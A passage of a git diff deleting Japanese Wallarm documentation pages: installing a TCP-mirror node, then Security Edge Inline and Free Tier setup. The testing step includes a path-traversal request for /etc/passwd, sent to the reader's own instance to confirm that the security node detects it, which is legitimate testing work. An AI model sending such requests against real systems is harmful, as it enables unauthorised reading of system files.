X-Real-IP -``` - -## 手順4: Wallarmインストーラーの実行 - -TCPトラフィックミラー解析用のWallarmノードをインストールするには、次のコマンドを実行します。 - -=== "x86_64版" - ```bash - # US Cloud - sudo env WALLARM_LABELS='group=' ./aio-native-0.17.1.x86_64.sh -- --batch --token --mode=tcp-capture --go-node-config= --host us1.api.wallarm.com - - # EU Cloud - sudo env WALLARM_LABELS='group=' ./aio-native-0.17.1.x86_64.sh -- --batch --token --mode=tcp-capture --go-node-config= --host api.wallarm.com - ``` -=== "ARM64版" - ```bash - # US Cloud - sudo env WALLARM_LABELS='group=' ./aio-native-0.17.1.aarch64.sh -- --batch --token --mode=tcp-capture --go-node-config= --host us1.api.wallarm.com - - # EU Cloud - sudo env WALLARM_LABELS='group=' ./aio-native-0.17.1.aarch64.sh -- --batch --token --mode=tcp-capture --go-node-config= --host api.wallarm.com - ``` - -* `WALLARM_LABELS`変数は、このノードが追加されるグループを設定します（Wallarm Console UIでのノードの論理的なグルーピングに使用します）。 -* ``は、使用タイプ`Node deployment/Deployment`で生成したAPIトークンを指定します。 -* ``は、事前に用意した設定ファイルへのパスを指定します。 - -指定した設定ファイルは/opt/wallarm/etc/wallarm/go-node.yamlにコピーされます。 - -必要に応じて、インストール完了後にコピーされたファイルを変更できます。変更を反映するには、`sudo systemctl restart wallarm`でWallarmサービスを再起動する必要があります。 - -## 手順5: ソリューションのテスト - -``をインスタンスの実IPアドレスまたはDNS名に置き換えて、ミラーの送信元アドレスへテスト用の[パストラバーサル](../../../attacks-vulns-list.md#path-traversal)攻撃を送信します。 - -``` -curl http:///etc/passwd -``` - -TCPトラフィックミラー解析用のWallarmソリューションはアウトオブバンドで動作するため、攻撃をブロックせず、記録のみを行います。 - -攻撃が記録されたことを確認するには、Wallarm Console → **Events**に進みます。 - -![!インターフェースでの攻撃](../../../images/waf-installation/epbf/ebpf-attack-in-ui.png) - -## ノードの動作確認 - -* キャプチャ対象のネットワークインターフェースにトラフィックがあるか確認するには、マシン上で次のコマンドを実行します。 - - ``` - sudo tcpdump -i - ``` -* ノードがトラフィックを検出しているか確認するには、ログを確認できます。 - - * デフォルトでは、Native Nodeのログは`/opt/wallarm/var/log/wallarm/go-node.log`に出力されます。 - * データがWallarm Cloudに送信されているか、攻撃が検出されたかなどの[標準ログ](../../../admin-en/configure-logging.md)は、`/opt/wallarm/var/log/wallarm`ディレクトリにあります。 - -追加のデバッグには、[`log.level`](../../native-node/all-in-one-conf.md#loglevel)パラメータを`debug`に設定します。 - -## インストーラーの起動オプション - -* all-in-oneスクリプトをダウンロードしたら、次で**ヘルプ**を表示できます。 - - === "x86_64版" - ``` - sudo ./aio-native-0.17.1.x86_64.sh -- --help - ``` - === "ARM64版" - ``` - sudo ./aio-native-0.17.1.aarch64.sh -- --help - ``` -* **対話**モードでインストーラーを実行し、最初のステップで`tcp-capture`モードを選択することもできます。 - - === "x86_64版" - ``` - sudo env WALLARM_LABELS='group=' ./aio-native-0.17.1.x86_64.sh - ``` - === "ARM64版" - ``` - sudo env WALLARM_LABELS='group=' ./aio-native-0.17.1.aarch64.sh - ``` -* ノードをAPIディスカバリー専用モード（バージョン0.12.1以降で利用可能）で使用できます。このモードでは、ノードの組み込みメカニズムで検出された攻撃や、追加の設定を要する攻撃（例: 資格情報詰め込み、API仕様違反の試行、ブルートフォース）を含む攻撃は検出され、[ローカルにログ記録されます](../../../admin-en/configure-logging.md)が、Wallarm Cloudにはエクスポートされません。Wallarm Cloudに攻撃データがないため、[脅威リプレイテスト](../../../vulnerability-detection/threat-replay-testing/overview.md)は動作しません。 - - 一方で、[APIディスカバリー](../../../api-discovery/overview.md)、[APIセッション追跡](../../../api-sessions/overview.md)、および[脆弱性検出](../../../about-wallarm/detecting-vulnerabilities.md)は引き続き完全に機能し、該当するセキュリティエンティティを検出して可視化のためにWallarm Cloudへアップロードします。 - - このモードは、まずAPI資産を見直して機密データを特定し、その上で攻撃データのエクスポートを計画的に行いたい方に適しています。ただし、攻撃データのエクスポートを無効にするケースはまれです。Wallarmは攻撃データを安全に処理し、必要に応じて[機密攻撃データのマスキング](../../../user-guides/rules/sensitive-data-rule.md)を提供します。 - - APIディスカバリー専用モードを有効にするには: - - 1. `/etc/wallarm-override/env.list`ファイルを作成するか変更します。 - - ``` - sudo mkdir /etc/wallarm-override - sudo vim /etc/wallarm-override/env.list - ``` - - 次の変数を追加します。 - - ``` - WALLARM_APID_ONLY=true - ``` - - 1. [手順1のノードインストール手順](#step-1-prepare-wallarm-token)に従います。 - -## アップグレードと再インストール - -* ノードをアップグレードするには、[手順](../../../updating-migrating/native-node/all-in-one.md)に従います。 -* アップグレードまたは再インストールで問題がある場合: - - 1. 現在のインストールを削除します。 - - ``` - sudo systemctl stop wallarm && sudo rm -rf /opt/wallarm - ``` - - 1. 上記のインストール手順に従って通常どおりノードをインストールします。 - -## 制限事項 - -* 実際のフローとは独立してトラフィックを分析するアウトオブバンド（OOB）動作のため、いくつかの制約があります。 - - * 悪意のあるリクエストを即時にブロックしません。Wallarmは攻撃を観測し、[Wallarm Consoleでの詳細](../../../user-guides/events/check-attack.md)を提供します。 - * 宛先サーバーの負荷を制限できないため、[レート制限](../../../user-guides/rules/rate-limiting.md)はサポートしていません。 - * [IPアドレスによるフィルタリング](../../../user-guides/ip-lists/overview.md)はサポートしていません。 -* 本ソリューションは生のTCP上の平文HTTPトラフィックのみを分析し、暗号化されたHTTPSトラフィックは対象外です。 -* 現時点ではHTTP keep-alive接続上のレスポンス解析をサポートしていません。 \ No newline at end of file diff --git a/docs/latest-ja/installation/oob/terraform-module/terraform-aws-wallarm b/docs/latest-ja/installation/oob/terraform-module/terraform-aws-wallarm deleted file mode 160000 index 5d1644de1d..0000000000 --- a/docs/latest-ja/installation/oob/terraform-module/terraform-aws-wallarm +++ /dev/null @@ -1 +0,0 @@ -Subproject commit 5d1644de1d82e8b24d2e76ad8070bffa4867518c diff --git a/docs/latest-ja/installation/security-edge/deployment.md b/docs/latest-ja/installation/security-edge/deployment.md deleted file mode 100644 index 3a2399955c..0000000000 --- a/docs/latest-ja/installation/security-edge/deployment.md +++ /dev/null @@ -1,249 +0,0 @@ -# Security Edge Inline - -Security Edgeプラットフォームは、Wallarmがホストする環境内の地理的に分散したロケーションにWallarmノードをデプロイするためのマネージドサービスを提供します。主要なデプロイメントオプションの1つであるinlineデプロイメントは、オンサイトのインストールを一切必要とせず、API全体をリアルタイムかつ堅牢に保護します。 - -これは、DNS設定のCNAMEレコードを変更してホストからWallarmのEdgeノードへトラフィックをリダイレクトできる場合に、APIを保護する理想的なソリューションです。 - -![!](../../images/waf-installation/security-edge/inline/traffic-flow.png) - -## 仕組み - -Security Edgeサービスは、WallarmノードがWallarmによってデプロイ、ホスト、管理される安全なクラウド環境を提供します: - -* ターンキー型デプロイメント：最小限のセットアップで、Wallarmが地理的に分散したロケーションへ自動的にノードをデプロイします。 -* オートスケーリング：変動するトラフィック負荷に対応するためにノードが自動的に水平スケールし、手動の設定は不要です。 -* コスト削減：Wallarm管理のノードにより運用負荷を低減し、迅速なデプロイとスケーラビリティを実現します。 -* シームレスな統合：シンプルな設定で、サービスを停止させることなくAPI全体を保護できます。 - -## 制限事項 - -* 第3レベル以上のドメインのみ対応します（例: domain.comではなくwww.domain.comを使用します）。 -* 64文字未満のドメインのみ対応します。 -* HTTPSトラフィックのみ対応します。HTTPは許可されません。 -* [カスタムブロックページとブロックコード](../../admin-en/configuration-guides/configure-block-page-and-code.md)の構成にはまだ対応していません。 - -## Edge Inlineの設定 - -Edge inlineを実行するには、Wallarm Console → Security Edge → Edge inline → Configureに移動します。このセクションが利用できない場合は、必要なサブスクリプションへのアクセスについてsales@wallarm.comへお問い合わせください。 - -転送先となる複数のオリジンと、保護する複数のホストを設定できます。デモをご覧ください: - -
        - -
        - -
        -
        - -Edgeノードのデプロイ設定はいつでも更新できます。既存のCNAMEレコードは変更せずに、ノードは再デプロイされます。 - -### 1. General settings - -General settingsでは、Edgeノードをデプロイするリージョンと、フィルタ済みトラフィックの転送先オリジンを指定します。 - -#### Regions - -Edgeノードをデプロイするリージョンを1つ以上選択します。APIやアプリケーションのホスト場所に近いリージョンを選択することを推奨します。 - -複数のリージョンにデプロイすると、ジオ冗長性が向上し、高可用性を確保できます。 - -#### Origin servers - -Edgeノードがフィルタ済みトラフィックを転送するオリジンを指定します。各オリジンには、サーバーのIPアドレスまたはFQDNと、任意のポート（デフォルト: 443）を指定します。 - -オリジンが複数のサーバーを持つ場合は、すべて指定できます。リクエストは次のように分散されます: - -* ラウンドロビンアルゴリズムを使用します。最初のリクエストは最初のサーバーに、2番目は次のサーバーに送られ、最後のサーバーの後は最初のサーバーに戻ります。 -* IPベースのセッション永続性により、同一IPからのトラフィックは常に同じサーバーへルーティングされます。 - -!!! info "オリジンでWallarmのIPレンジからのトラフィックを許可する" - 選択したリージョンで使用されるIPレンジからの着信トラフィックを、オリジンで許可する必要があります: - - === "us-east-1 (N. Virginia)" - ``` - 18.215.213.205 - 44.214.56.120 - 44.196.111.152 - ``` - === "us-east-2 (Ohio)" - ``` - 3.148.62.175 - 18.224.237.190 - 3.20.55.107 - 3.135.4.73 - 3.142.190.180 - 3.15.129.1 - 18.116.243.148 - 18.116.233.194 - ``` - === "us-west-1" - ``` - 52.8.91.20 - 13.56.117.139 - 54.177.237.34 - 50.18.177.184 - ``` - === "eu-central-1 (Frankfurt)" - ``` - 18.153.123.2 - 18.195.202.193 - 3.76.66.246 - 3.79.213.212 - ``` - === "eu-central-2 (Zurich)" - ``` - 51.96.131.55 - 16.63.191.19 - 51.34.0.90 - 51.96.67.145 - ``` - -![!](../../images/waf-installation/security-edge/inline/general-settings-section.png) - -後で、トラフィックの分析とフィルタリング対象のホストを追加する際に、各ホストまたはロケーションを所定のオリジンに割り当てます。 - -### 2. Certificates - -Certificatesセクションでは、ドメイン向けの証明書を取得できます: - -* Edge Inlineノードをインターネットに直接面するソリューションとしてデプロイする場合、オリジンサーバーへトラフィックを安全にルーティングするために証明書が必要です。証明書は、このセクションで指定したDNSゾーンに基づいて発行されます。 - - 構成が完了すると、Wallarmは各DNSゾーンに対するCNAMEを提供します。ドメイン所有権の確認と証明書発行プロセスの完了のため、このCNAMEレコードをDNS設定に追加します。 -* オリジンサーバーがトラフィックをプロキシするサードパーティサービス（例: CDN、CloudflareやAkamaiのようなDDoS保護プロバイダー）の背後にある場合、証明書の発行は不要です。この場合、Skip certificate issuanceオプションを選択します。 - -![!](../../images/waf-installation/security-edge/inline/certificates.png) - -複数のDNSゾーンを指定でき、ゾーンごとに異なる証明書発行方式を選択できます。 - -### 3. Hosts - -Hostsセクションでは: - -1. Wallarmノードで分析するためにトラフィックを向けるドメイン、ポート、サブドメインを指定します。各ホストエントリは、事前にCertificatesで定義したDNSゾーンに一致している必要があります。 - - ??? info "許可されるポート" - HTTPポートからエッジノードへトラフィックを誘導することはできません。以下のポートがサポートされます： - - * 443 - * 1024–49151 (except: 9000, 9003, 9010, 9113, 9091, 9092, 18080) - -1. （任意）ホストのトラフィックを[Wallarmアプリケーション](../../user-guides/settings/applications.md)に関連付け、Wallarmプラットフォーム上で異なるAPIインスタンスやサービスを分類・管理します。 -1. 各ホストの[Wallarm mode](../../admin-en/configure-wallarm-mode.md)を設定します。 -1. （任意）サーバーの[NGINXディレクティブ](https://nginx.org/en/docs/http/ngx_http_proxy_module.html)を指定します。デフォルトでは、これらのディレクティブはNGINXドキュメントに記載された標準値を使用します。 -1. 各ホストについて、ルートロケーション（`/`）の設定を定義します: - - * （他のロケーション固有の設定が定義されていない場合に）Wallarmノードがフィルタ済みトラフィックを転送するオリジン。ロケーションで定義したパスは自動的にオリジンに付加されます。 - * （任意）Wallarmアプリケーション。 - * フィルタリングモード。 - -![!](../../images/waf-installation/security-edge/inline/hosts.png) - -ホスト内の特定のロケーションについて、さらに次をカスタマイズできます: - -* オリジン。ロケーションで定義したパスは自動的にオリジンに付加されます。 -* Wallarmアプリケーション。 -* フィルタリングモード。 -* 一部の[NGINXディレクティブ](https://nginx.org/en/docs/http/ngx_http_proxy_module.html)。デフォルトでは、これらのディレクティブはNGINXドキュメントに記載された標準値を使用します。 - -各ロケーションは、明示的に上書きしない限り、ホストおよびルートロケーションの設定を継承します。 - -以下の例では、要件に合わせてパスごとに設定をカスタマイズしています。`/auth`はブロッキングモードを有効にしてセキュリティを優先し、`/data`は`client_max_body_size`を5MBに増やすことで大きなアップロードを許可します。 - -![!](../../images/waf-installation/security-edge/inline/locations.png) - -### 4. (Optional) Admin settings - -Admin settingsセクションでは、ノードのバージョンを選択し、アップグレードに関する設定を指定します: - -* デプロイするEdgeノードのバージョンを選択します。デフォルトでは最新の利用可能なバージョンがデプロイされます。 - - バージョンの変更履歴は[記事](../../updating-migrating/node-artifact-versions.md#all-in-one-installer)を参照してください。Edgeノードのバージョンは`..`の形式で、リンク先の記事の同一バージョンに対応します。Edgeノードのバージョンに含まれるビルド番号は軽微な変更を示します。 -* 必要に応じて[Auto update](#upgrading-the-edge-inline)を有効にします。 - -![!](../../images/waf-installation/security-edge/inline/admin-settings.png) - -### 5. 証明書CNAMEの設定 - -CertificatesセクションでDNSゾーンを指定した場合、Wallarm Consoleに表示されるCNAMEレコードを各DNSゾーンについてDNSプロバイダーの設定に追加します。これらのレコードは、Wallarmがドメイン所有権を確認し証明書を発行するために必要です。 - -!!! warning "証明書CNAMEを削除しないでください" - 証明書用のCNAMEレコードはDNS設定に残しておく必要があります。今後のデプロイ設定の更新や証明書の更新に必要です。 - -![](../../images/waf-installation/security-edge/inline/host-cnames.png) - -![](../../images/waf-installation/security-edge/inline/cert-cname.png) - -例として、DNSゾーンに`myservice.com`を指定した場合、cert CNAMEは次のとおりです: - -``` -_acme-challenge.myservice.com CNAME _acme-challenge.--.acme.aws.wallarm-cloud.com -``` - -DNSの変更が反映されるまで最大24時間かかる場合があります。CNAMEレコードが検証されると、WallarmはEdgeノードのデプロイを開始します。 - -### 6. Edgeノードへのトラフィックルーティング - -Edgeノードへトラフィックをルーティングするには、DNSゾーンにWallarmが提供するFQDNを指すCNAMEレコードを指定する必要があります。このレコードはTraffic CNAMEとして返されます。 - -証明書CNAMEが検証されると、各ホストに対してTraffic CNAMEが利用可能になります。証明書を発行しない場合は、構成完了直後にCNAMEが利用可能です。 - -![](../../images/waf-installation/security-edge/inline/traffic-cname.png) - -DNSの変更が反映されるまで最大24時間かかる場合があります。伝播後、Wallarmはすべてのトラフィックをプロキシします。 - -## Telemetry portal - -Security Edge Inline向けのTelemetry portalは、Wallarmが処理したトラフィックに関するメトリクスをリアルタイムに可視化するGrafanaダッシュボードを提供します。 - -ダッシュボードには、総処理リクエスト数、RPS、検出・ブロックした攻撃、デプロイ済みEdgeノード数、リソース消費、5xx応答の数などの主要な指標が表示されます。 - -![!](../../images/waf-installation/security-edge/inline/telemetry-portal.png) - -ノードがActiveステータスに達したら、**Run telemetry portal**を実行します。開始から約5分後に、Security Edgeセクションからのダイレクトリンク経由でアクセスできるようになります。 - -![!](../../images/waf-installation/security-edge/inline/run-telemetry-portal.png) - -Grafanaのホームページからダッシュボードへ移動するには、Dashboards → Wallarm → Portal Inline Overviewに進みます。 - -## Upgrading the Edge Inline - -Admin settingsでAuto updateを有効にすると、新しいマイナーまたはパッチバージョンがリリースされ次第（選択したオプションに応じて）、Edgeノードが自動的にアップグレードされます。初期設定はすべて保持されます。Auto updateはデフォルトでオフです。 - -Edgeノードを手動でアップグレードするには、Configure → Admin settingsに移動し、一覧からバージョンを選択します。最適なパフォーマンスとセキュリティのため、最新バージョンの使用を推奨します。 - -新しいメジャーバージョンへのアップグレードは手動でのみ実行できます。 - -バージョンの変更履歴は[記事](../../updating-migrating/node-artifact-versions.md#all-in-one-installer)を参照してください。Edgeノードのバージョンは`..`の形式で、リンク先の記事の同一バージョンに対応します。Edgeノードのバージョンに含まれるビルド番号は軽微な変更を示します。 - -## Edge Inlineの削除 - -Edgeデプロイを削除するには、Configure → Admin settings → Delete inlineをクリックします。 - -ノードを削除して再作成する予定がある場合は、既存のデプロイの設定を調整すると、更新された構成でノードが再デプロイされます。 - -サブスクリプションが期限切れになると、Edgeノードは14日後に自動的に削除されます。 - -## ステータス - -Edge nodeセクションでは、オリジン、ホスト、リージョンのデプロイおよび構成状態のリアルタイムステータスを提供します: - -=== "Hosts" - ![!](../../images/waf-installation/security-edge/inline/host-statuses.png) -=== "Origins" - ![!](../../images/waf-installation/security-edge/inline/origin-statuses.png) -=== "Regions" - ![!](../../images/waf-installation/security-edge/inline/region-statuses.png) -=== "Nodes" - **Nodes**タブでは、各Edgeノードの技術的な詳細を提供します。このビューは主にトラブルシューティング支援のためにWallarm Support teamが使用します。ノード数はトラフィック需要に依存し、Wallarmのオートスケーリングによって自動管理されます。 - - ![!](../../images/waf-installation/security-edge/inline/nodes-tab.png) - -* **Pending cert CNAME**：証明書発行のためのCNAMEレコードが（該当する場合）DNSに追加されるのを待機しています。 -* **Pending traffic CNAME**：デプロイメントが完了し、トラフィックをEdgeノードへルーティングするためのTraffic CNAMEまたはプロキシターゲットレコードの追加を待機しています。 -* **Deploying**：Edgeノードのセットアップ中で、間もなく利用可能になります。 -* **Active**：Edgeノードは完全に稼働しており、設定どおりにトラフィックをフィルタリングしています。 -* **Cert CNAME error**：DNSで証明書CNAMEの検証に問題が発生しました。CNAMEが正しく構成されているか確認してください（該当する場合）。 -* **Deployment failed**：Edgeノードのデプロイに失敗しました（例: 証明書CNAMEが14日以内に追加されなかった）。設定を確認して再デプロイを試すか、支援が必要な場合は[Wallarm Support team](https://support.wallarm.com)にお問い合わせください。 -* **Degraded**：Edgeノードはそのリージョンで稼働していますが、機能が制限されている、または軽微な問題が発生している可能性があります。支援が必要な場合は[Wallarm Support team](https://support.wallarm.com)にお問い合わせください。 - -RPSおよびホスト・オリジンごとのリクエスト数は[バージョン](../../updating-migrating/node-artifact-versions.md#all-in-one-installer)5.3.0以降で返されます。 \ No newline at end of file diff --git a/docs/latest-ja/installation/security-edge/free-tier.md b/docs/latest-ja/installation/security-edge/free-tier.md deleted file mode 100644 index 7ab7869a59..0000000000 --- a/docs/latest-ja/installation/security-edge/free-tier.md +++ /dev/null @@ -1,81 +0,0 @@ -# Security Edge Free Tier - -[Security Edge](overview.md)のFree Tierにより、Wallarmプラットフォームを評価し、自身でWallarm Nodeをホスティングすることなく、月あたり**500,000リクエストまで - 無料**で保護できます。 - -Security Edge Free Tierでは、[Advanced API Security](../../about-wallarm/subscription-plans.md#core-subscription-plans)としてWallarmプラットフォームにアクセスでき、ほとんどの機能を利用できますが、いくつかの[制限事項](#limitations)があります。 - -## はじめに - -Security Edge Free Tierの利用を開始するには、**[US](https://us1.my.wallarm.com/signup/?utm_source=wallarm_docs&utm_campaign=se_free_tier_guide)または[EU Cloud](https://my.wallarm.com/signup/?utm_source=wallarm_docs&utm_campaign=se_free_tier_guide)のいずれかでWallarmにサインアップします。** - -自動的にFree Tierに割り当てられ、**Quick setup wizard**にリダイレクトされます。 - -Security Edgeのデプロイがユースケースに合わない場合は、代替案についてsales@wallarm.comまでお問い合わせください。 - -## Quick setup wizard - -このウィザードは、Security Edgeの基本的な[Inline](inline/overview.md)または[Connector](se-connector.md)デプロイを案内します。 - -Edge Nodeは**monitoring** [mode](../../admin-en/configure-wallarm-mode.md)で開始されるため、リクエストはブロックされません。 - -=== "Security Edge Inline" - 1. デプロイ先のリージョンを選択します。 - 1. パブリックホスト（ユーザーが接続するドメイン）を指定します。 - 1. 解析済みトラフィックの転送先となるオリジンを定義します。 - - オリジンに複数のサーバーがある場合は、すべて指定できます。Edge Nodeは[ラウンドロビン](https://en.wikipedia.org/wiki/Round-robin_DNS)方式のロードバランシングでそれらにトラフィックを転送します。 - - ループを回避するため、オリジンはホストと異なる必要があります。 - 1. ドメイン所有権を確認するため、提示された**Certificate CNAME**レコードをDNSゾーンに追加します。 - 1. ルーティングを完了するため、ホストのDNSを提示された**Traffic CNAME**に向けます。 - - Certificate CNAMEの検証が完了すると、Traffic CNAMEが提供されます。 - - ![](../../images/waf-installation/security-edge/inline/quick-setup-wizard-inline.png) -=== "Security Edge Connector" - 1. デプロイ先のリージョンを選択します。 - 1. 提供されたNode URL（Connectorのエントリポイント）をコピーします。 - 1. 対象プラットフォーム用のコードバンドルをダウンロードします。 - 1. 以下の手順に従って、API管理プラットフォームにバンドルを適用します。 - - * [MuleSoft Mule Gateway](../connectors/mulesoft.md#2-obtain-and-upload-the-wallarm-policy-to-mulesoft-exchange) - * [CloudFront](../connectors/aws-lambda.md#2-obtain-and-deploy-the-wallarm-lambdaedge-functions) - * [Cloudflare](../connectors/cloudflare.md#2-obtain-and-deploy-the-wallarm-worker-code) - * [Fastly](../connectors/fastly.md#2-deploy-wallarm-code-on-fastly) - * [IBM DataPower](../connectors/ibm-api-connect.md#2-obtain-and-apply-the-wallarm-policies-to-apis-in-ibm-api-connect) - - ![](../../images/waf-installation/security-edge/inline/quick-setup-wizard-connector.png) - -セットアップ後、テスト攻撃が自動的にEdge Nodeに送信されます。検出されると、Free Tierの全機能を備えたWallarm Consoleにアクセスできるようになります。この攻撃は[**Attacks**](../../user-guides/events/check-attack.md)セクションに表示されます。 - -オンボーディングにチームメイトを招待することもできます。彼らには**Administrator**の[role](../../user-guides/settings/users.md#user-roles)が割り当てられ、招待リンクがメールで届きます。 - -後で、Security Edgeセクションの**Quick setup**または/onboardingから、このウィザードを再度開くことができます。 - -## 制限事項 - -完全なSecurity Edgeの構成フローと比べて、**Quick setup**ウィザードには次の制限があります。 - -* ホストの詳細設定はサポートされません（filtration modes、Wallarm applications、NGINX directives） -* Security Edge Inline: - - * ホストでApexドメインはサポートされません - * オリジンは1つのみ追加できます - * オリジンがCloudflareのようなプロキシの背後にある場合などでも、[ドメイン所有権の確認](inline/deployment.md#3-certificates)をスキップできません - * [ホストのリダイレクト](inline/host-redirection.md)はサポートされません - * [カスタムブロックページ](inline/custom-block-page.md) - * [NGINXオーバーライド](inline/nginx-overrides.md) - * [相互TLS](inline/mtls.md)の構成は利用できません - -Quick setupか完全な構成フローかにかかわらず、Free Tierでは利用できない機能があります。 - -* [脆弱性評価](../../user-guides/vulnerabilities.md) -* [API Abuse Prevention](../../api-abuse-prevention/overview.md) -* Security EdgeのTelemetry portal -* Microsoft Azureへのデプロイ -* マルチクラウドおよびマルチリージョンでのSecurity Edge Inlineのデプロイ - -## 次のステップ - -* [Security Edge Inline: 完全な構成フロー](inline/deployment.md) -* [Security Edge Connector: 完全な構成フロー](se-connector.md) \ No newline at end of file diff --git a/docs/latest-ja/installation/security-edge/inline/access-control-lists.md b/docs/latest-ja/installation/security-edge/inline/access-control-lists.md deleted file mode 100644 index e17ad13457..0000000000 --- a/docs/latest-ja/installation/security-edge/inline/access-control-lists.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/installation/security-edge/inline/access-control-lists.md" \ No newline at end of file diff --git a/docs/latest-ja/installation/security-edge/inline/cache-rules.md b/docs/latest-ja/installation/security-edge/inline/cache-rules.md deleted file mode 100644 index d33e69f652..0000000000 --- a/docs/latest-ja/installation/security-edge/inline/cache-rules.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/installation/security-edge/inline/cache-rules.md" \ No newline at end of file diff --git a/docs/latest-ja/installation/security-edge/inline/custom-block-page.md b/docs/latest-ja/installation/security-edge/inline/custom-block-page.md deleted file mode 100644 index 6df7f93255..0000000000 --- a/docs/latest-ja/installation/security-edge/inline/custom-block-page.md +++ /dev/null @@ -1,18 +0,0 @@ -# Security Edge Inlineのブロックページ - -Security Edge Inline Nodeが悪意のあるリクエストをブロックした場合、HTTP 403 Forbiddenレスポンスとともにスタイル付きのブロックページを返すことができます。 - -!!! info "バージョン要件" - スタイル付きのブロックページの返却はEdge Nodeバージョン5.3.16-2以降でサポートされています。 - -## ブロックページの外観 - -スタイル付きのブロックページは、リクエストがブロックされたことをユーザーにわかりやすく通知します: - -![Wallarmのブロックページ](../../../images/configuration-guides/blocking-page-provided-by-wallarm-36.png) - -## カスタムブロックページの有効化 - -バージョン5.3.16-2以降では、カスタムブロックページがデフォルトで有効です。 - -この機能を制御するには、Wallarm Console → Security Edge → Inline → Configure → Return styled page for blocked requestsに移動します。 \ No newline at end of file diff --git a/docs/latest-ja/installation/security-edge/inline/deployment.md b/docs/latest-ja/installation/security-edge/inline/deployment.md deleted file mode 100644 index 939f5a440a..0000000000 --- a/docs/latest-ja/installation/security-edge/inline/deployment.md +++ /dev/null @@ -1,229 +0,0 @@ -# Security Edgeインラインデプロイ - -Wallarmの[インライントラフィック解析用Security Edge](overview.md)をデプロイするには、本ガイドに従います。 - -## 要件 - -* [Security Edgeサブスクリプション](../../../about-wallarm/subscription-plans.md)（無料または有料） -* ドメインのDNSレコードを編集して所有権を確認し、トラフィックをWallarmにルーティングできること - -## 構成フロー - -Edgeをインラインで稼働させるには、Wallarm Console → Security Edge → Inline → Configureに移動します。このセクションが利用できない場合は、必要なサブスクリプションへのアクセスについてsales@wallarm.comに連絡してください。 - -Free Tierでは、[Quick setup](../free-tier.md)でEdge Nodeをデプロイした後、Security Edgeセクションで設定を調整できます。 - -Edge Nodeのデプロイ設定はいつでも更新できます。ノードは再デプロイされますが、既存のCNAMEおよびAレコードは変更されません。 - -構成フロー全体のデモをご覧ください: - -
        - -
        - -
        -
        - -## 1. プロバイダーとリージョン - -Edge Nodeをデプロイするリージョン（AWSまたはAzure）を1つ以上選択します。レイテンシー最適化のため、APIに近いロケーションを選択します。 - -利用可能なリージョンは使用中の[Wallarm Cloud](../../../about-wallarm/overview.md#cloud)に依存します（US→米国リージョン、EU→EUリージョン）。 - -[マルチリージョン・マルチクラウドデプロイの詳細](multi-region.md) - -## 2. オリジン - -Edge Nodeがフィルタ済みトラフィックを転送するオリジンを指定します。各オリジンには、サーバーのIPアドレスまたはFQDNにオプションのポート（デフォルト: 443）を付けて指定します。 - -オリジンに複数サーバーがある場合は、すべてを指定できます。リクエストは次のように分散されます。 - -* [ラウンドロビン](https://en.wikipedia.org/wiki/Round-robin_DNS)アルゴリズムを使用します。最初のリクエストは最初のサーバーへ、2番目は次のサーバーへというように送信され、最後のサーバーの後は最初に戻ります。 -* IPベースのセッション永続化により、同一IPからのトラフィックは常に同じサーバーにルーティングされます。 - -**オリジンへのアクセスの保護** - -信頼できるトラフィックのみに限定するには、次のいずれかの方法でEdge Nodeからの接続を許可します。 - -* （推奨）[mTLS](mtls.md)でEdge Nodeを認証します。これにより、WallarmのIPが変更された場合の問題を回避できます。 -* 選択したデプロイリージョンのIPレンジからのトラフィックのみを許可します（IPは変更される場合があります）。 - - ??? info "WallarmのIPレンジを表示" - * AWS - - === "us-east-1 (N. Virginia)" - ``` - 18.215.213.205 - 44.214.56.120 - 44.196.111.152 - ``` - === "us-east-2 (Ohio)" - ``` - 3.148.62.175 - 18.224.237.190 - 3.20.55.107 - 3.135.4.73 - 3.142.190.180 - 3.15.129.1 - 18.116.243.148 - 18.116.233.194 - ``` - === "米国西部1" - ``` - 52.8.91.20 - 13.56.117.139 - 54.177.237.34 - 50.18.177.184 - ``` - === "EU中部1（フランクフルト）" - ``` - 18.153.123.2 - 18.195.202.193 - 3.76.66.246 - 3.79.213.212 - ``` - === "EU中部2（チューリッヒ）" - ``` - 51.96.131.55 - 16.63.191.19 - 51.34.0.90 - 51.96.67.145 - ``` - - * Azure - - === "米国東部2" - ``` - 20.65.88.253 - 20.65.88.252 - ``` - === "米国西部3" - ``` - 20.38.2.233 - 20.38.2.232 - ``` - === "ドイツ西部中部" - ``` - 20.79.250.104 - 20.79.250.105 - ``` - === "スイス北部" - ``` - 20.203.240.193 - 20.203.240.192 - ``` - -![!](../../../images/waf-installation/security-edge/inline/general-settings-section.png) - -## 3. 証明書 - -* Edge Inline Nodeをインターネットに直接公開するソリューションとしてデプロイする場合、オリジンサーバーへのトラフィックを安全にルーティングするために証明書が必要です。証明書は、このセクションで指定したDNSゾーンに基づいて発行されます。 - - 構成が完了すると、Wallarmは各DNSゾーンに対してCNAMEを提供します。ドメイン所有権を確認し証明書発行プロセスを完了するため、DNS設定にこのCNAMEレコードを追加します。 -* トラフィックをプロキシするサードパーティサービス（例: CDNやCloudflareやAkamaiのようなDDoS保護プロバイダー）の背後にオリジンサーバーがある場合、証明書の発行は不要です。この場合、**Skip certificate issuance**オプションを選択します。 - -![!](../../../images/waf-installation/security-edge/inline/certificates.png) - -複数のDNSゾーンを指定でき、それぞれで異なる証明書発行アプローチを選択できます。 - -!!! info "CAAレコード" - 一部の組織では、どの認証局（CA）が自社ドメインの証明書を発行できるかを制限するためにDNSの[CAA](https://letsencrypt.org/docs/caa/)レコードを使用しています。 - - CAAレコードを管理している場合は、Let's EncryptをWallarm Account ID付きで許可してください。そうしないとSecurity Edge用の証明書を発行できません。 - - ``` - 0 issue "letsencrypt.org;validationmethods=dns-01;accounturi=https://acme-v02.api.letsencrypt.org/acme/acct/2513765531" - ``` - - 現在のCAAレコードは次で確認できます。 - - ``` - dig +short CAA your-domain.com - ``` - -## 4. ホスト - -Edge Nodeで解析するためにトラフィックを向ける公開ドメイン、ポート、サブドメインを指定します。 - -!!! info "Apexドメイン" - 可能であればapexドメインの代わりに`www.example.com`を使用します。あるいは、[apexドメインから`www.*`へのリダイレクト](host-redirection.md#recommended-redirect-from-apex-domain-to-www)を構成します。これによりWallarmがグローバルCNAMEを使用でき、Aレコードでの手動のトラフィック分散を回避できます。 - -1. ホストを指定します。各ホストエントリは（**Certificates**セクションで指定されている場合は）DNSゾーンと一致し、ルーティングループを避けるためにオリジンとは異なる必要があります。 - - ??? note "許可されるポート" - HTTPポートからEdge 